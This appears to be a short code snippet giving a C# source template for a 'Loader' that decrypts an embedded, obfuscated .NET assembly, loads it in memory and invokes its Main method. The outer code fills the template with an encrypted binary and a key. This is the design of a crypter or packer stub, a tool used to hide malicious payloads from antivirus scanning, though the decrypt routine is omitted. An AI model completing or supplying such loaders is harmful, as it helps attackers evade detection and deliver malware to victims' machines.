Load Assembly and dynamically create an instance and invoke Main method

LoadAndInvoke.cs

public static string srcTemplate = @"using System;
                using System.Collections.Generic;
                using System.IO;
                using System.Reflection;
                using System.Security.Cryptography;

                namespace Loader {
                    public static class Loader {
                    
                        private static readonly byte[] SALT = new byte[] { 0xba, 0xdc, 0x0f, 0xfe, 0xeb, 0xad, 0xbe, 0xfd, 0xea, 0xdb, 0xab, 0xef, 0xac, 0xe8, 0xac, 0xdc };
                        public static void Main(string[] args) {
                            byte[] bytes = decrypt(Convert.FromBase64String(Package.dotnetfile), Package.key);
                            Assembly a = Assembly.Load(bytes);

                            foreach (Type type in a.GetTypes()) {
                                try {
                                    object instance = Activator.CreateInstance(type);
                                    object[] procargs = new object[] { args };
                                    var methodInfo = type.GetMethod(""Main"", BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static | BindingFlags.FlattenHierarchy);
                                    var result = methodInfo.Invoke(instance, procargs);
                                }
                                catch (Exception e) { }
                            }
                        }

                        public static byte[] decrypt(byte[] cipher, string key) { // Left out }
                        
                        public class Package {
                            public static string dotnetfile = @""INSERTHERE"";
                            public static string key = @""KEY"";
                        }
                }";
                
String obfuscatedBin = obfuscateBinary(path);
String tmpStr = srcTemplate.Replace("INSERTHERE", obfuscatedBin);
String srcFinal = tmpStr.Replace("KEY", key);